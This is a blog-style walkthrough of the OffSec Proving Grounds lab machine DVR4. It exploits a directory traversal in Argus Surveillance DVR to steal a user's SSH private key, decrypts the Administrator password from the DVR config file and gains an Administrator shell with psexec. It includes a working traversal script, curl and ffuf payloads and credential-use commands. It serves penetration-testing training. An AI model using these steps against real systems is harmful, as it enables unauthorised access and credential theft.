writeup 2026-01-17 · 4 min read

OffSec Proving Grounds DVR4 Writeup

Windows Proving Grounds box. Argus Surveillance DVR directory traversal reads viewer's SSH key, and its weak password encryption gives Administrator.

OffSec Proving Grounds DVR4 Writeup

Summary

DVR4 is a Windows Proving Grounds box running Argus Surveillance DVR on port 8080. The WEBACCOUNT.CGI RESULTPAGE parameter is vulnerable to unauthenticated directory traversal (CVE-2018-18852), which reads arbitrary files off the host. The Argus users page lists a Viewer account that maps to a real system user, so traversing to users/viewer/.ssh/id_rsa pulls that user’s SSH private key and grants a login as viewer. From that shell the full DVRParams.ini config is readable, exposing the Administrator password in Argus’ weak encryption, which a public decryptor turns back into 14WatchD0g$; psexec then returns a shell as Administrator.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# Nmap 7.98 scan initiated Sat Jan 17 15:04:46 2026 as: nmap -A -vv -oN scans/nmap.initial 192.168.234.179
Nmap scan report for 192.168.234.179
Host is up, received conn-refused (0.14s latency).
Scanned at 2026-01-17 15:04:47 -03 for 111s
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE       REASON  VERSION
22/tcp   open  ssh           syn-ack Bitvise WinSSHD 8.48 (FlowSsh 8.48; protocol 2.0; non-commercial use)
| ssh-hostkey: 
|   3072 21:25:f0:53:b4:99:0f:34:de:2d:ca:bc:5d:fe:20:ce (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCsljcHdJN7STx92SFZR/dtzDsO0v1blAoUfqWva1WJD9WXeKe0S9Oeg4L1eXC6ik5O6+lE7SRqz7Qiudrhk9CXxB0tmmX2SpZKMg1l01wmO5QEhpeuhDOb062dCDc1byOkpbBJq93afwVOEiaCOMVVjnwvJ5MFmZQzBcb02rmHKH7+o2BjMukTA8coWhCc2cqyEgPA031zSYCkdzxLlgHJMUlbDDtD0D143rLPZ6CtP5Nbxpbt/2Hj3thq7GQzToNdgCYCEIMg6Gs4xYHLO4lKcOb92wFdEtx+hA7xFxGOldfmEU4f3jyDSFazolJU4TxzewQ/kIi1W4Cj+tarEVTC6sBUAhHZSLAj5nkz7rljJIXiM8hYp6VMcpsqa1dtlwspeiFXL2RizuQgUzabzsQGmZ0Yu501ieYy1i7mIEWzO2UUx3tnCn9YKAh30jYQQvXYB+oUGuQqDIQh1f0Ds/Jd1IkFMJ8EZQ8Iaoa1UVpxupdZ8jtBm3BKT5+sVtJ4jwE=
|   384 e7:96:f3:6a:d8:92:07:5a:bf:37:06:86:0a:31:73:19 (ECDSA)
|_ecdsa-sha2-nistp384 AAAAE2VjZHNhLXNoYTItbmlzdHAzODQAAAAIbmlzdHAzODQAAABhBEqSs/ONYXuZGcGBUkLstnAWRP6wNsuJz6yUtmYymbBUobb797y3tkgWkCUhaDsB3z8XzhgoyCXS6MuXqF3FmiapitvPj1ig5TnVnHRvzuB2beKi/cH2XBduyaaKO6AORg==
135/tcp  open  msrpc         syn-ack Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds? syn-ack
8080/tcp open  http-proxy    syn-ack
|_http-favicon: Unknown favicon MD5: 283B772C1C2427B56FC3296B0AF42F7C
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Argus Surveillance DVR
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Connection: Keep-Alive
|     Keep-Alive: timeout=15, max=4
|     Content-Type: text/html
|     Content-Length: 985
|     <HTML>
|     <HEAD>
|     <TITLE>
|     Argus Surveillance DVR
|     </TITLE>
|     <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|     <meta name="GENERATOR" content="Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]">
|     <frameset frameborder="no" border="0" rows="75,*,88">
|     <frame name="Top" frameborder="0" scrolling="auto" noresize src="CamerasTopFrame.html" marginwidth="0" marginheight="0"> 
|     <frame name="ActiveXFrame" frameborder="0" scrolling="auto" noresize src="ActiveXIFrame.html" marginwidth="0" marginheight="0">
|     <frame name="CamerasTable" frameborder="0" scrolling="auto" noresize src="CamerasBottomFrame.html" marginwidth="0" marginheight="0"> 
|     <noframes>
|     <p>This page uses frames, but your browser doesn't support them.</p>
|_    </noframes>
<SNIP>

Initial Access - Argus Surveillance

Port 8000 hosts an “Argus Surveillance” instance:

Argus Surveillance DVR web interface on port 8080

Search for vulnerabilities:

1
searchsploit argus

Find many entries, including directory traversal, unoquted service path (privilege escalation) and weak password encryption.

I view more about the directory traversal exploit:

1
searchsploit -x windows_x86/webapps/45296.txt

It reads:

1
2
3
4
5
6
7
# Description:
# Argus Surveillance DVR 4.0.0.0 devices allow Unauthenticated Directory Traversal,
# leading to File Disclosure via a ..%2F in the WEBACCOUNT.CGI RESULTPAGE parameter.

# PoC

curl "http://VICTIM-IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2Fsystem.ini&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="

That way, apparently, we can read local files. I also read the weak encryption one:

1
searchsploit -x windows/local/50130.py

The exploit code has the following comments:

1
2
# Note: Argus Surveillance DVR 4.0 configuration is present in
# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini

So perhaps I’m able to chain the directory traversal exploit to read Argus’ config file at C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini and reverse the encryption. I use a python script (slightly modified from this github repository) to poke with the directory traversal exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import argparse

def perform_traversal(ip, port, target_file):
    base_path = 'WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F'
    traversal_path = f'{base_path}{target_file}'
  
    url = f'http://{ip}:{port}/'

  
    response = requests.get(url, params=traversal_path)
  
    if response.status_code == 200:
        print("Please check the output!")
        print("Response Content:")
        print(response.text)
    else:
        print(f"Failed with status code: {response.status_code}")
        print("Response Content:")
        print(response.text)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Perform directory traversal.")
    parser.add_argument("ip", help="Target IP address")
    parser.add_argument("port", type=int, help="Target port")
    parser.add_argument("target_filepath", help="File path to access with directory traversal")
  
    args = parser.parse_args()
  
    perform_traversal(args.ip, args.port, args.target_filepath)

I use the exploit like so:

1
2
3
4
5
6
7
8
9
10
11
12
$ python3 argus-dvr-traversal.py 192.168.234.179 8080 'ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini'
Please check the output!
Response Content:
[Main]
ServerName=
ServerLocation=
ServerDescription=
ReadH=0
UseDialUp=0
DialUpConName=
DialUpDisconnectWhenDone=0
DIALUPUSEDEFAULTS" checked checked

But as you can see, the config file is just… Incomplete, it seems like. Or, it is supposed to be that way. I run the following ffuf command to look for files:

1
ffuf -u 'http://192.168.234.179:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FFUZZ&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD=' -w LFI-gracefulsecurity-windows.txt -fw 16

This eventually leads me to this entry:

1
Users/Administrator/NTUser.dat [Status: 200, Size: 6, Words: 1, Lines: 1, Duration: 1031ms]

I can use this path traversal vulnerability to read files in the Administrator user’s home folder. That means I can extract proof.txt:

1
2
3
4
$ python3 argus-dvr-traversal.py 192.168.234.179 8080 'users/administrator/desktop/proof.txt'
Please check the output!
Response Content:
18af490c7d5fe7f7a51f5e3e4d72cef5

But the intended path was to foreseen that user “Viewer” in Argus Surveillance was a valid system user (http://192.168.234.179:8080/Users.html)…

Argus Surveillance users page listing the Viewer account

Grab this user’s SSH private key using the path traversal exploit:

1
2
3
4
5
6
$ python3 argus-dvr-traversal.py 192.168.234.179 8080 'users/viewer/.ssh/id_rsa'
Please check the output!
Response Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
<SNIP>

To log in as “viewer” via ssh using the private key (ssh -i viewer viewer@192.168.234.179):

SSH session opened as viewer using the traversed private key

Vertical Privilege Escalation

With SSH access to the victim machine, I can read the full config file:

1
C:\ProgramData\PY_Software\Argus Surveillance DVR>type DVRParams.ini

This would give me access to the encrypted password for Administrator:

1
Password0=ECB453D16069F641E03BD9BD956BFE36BD8F3CD9D9A8

Then use the exploit to obtain the cleartext password for Administrator and get a shell on the system:

1
psexec.py administrator:'14WatchD0g$'@192.168.234.179

psexec returning a shell as Administrator with the decrypted password

This post is licensed under CC BY 4.0 by the author.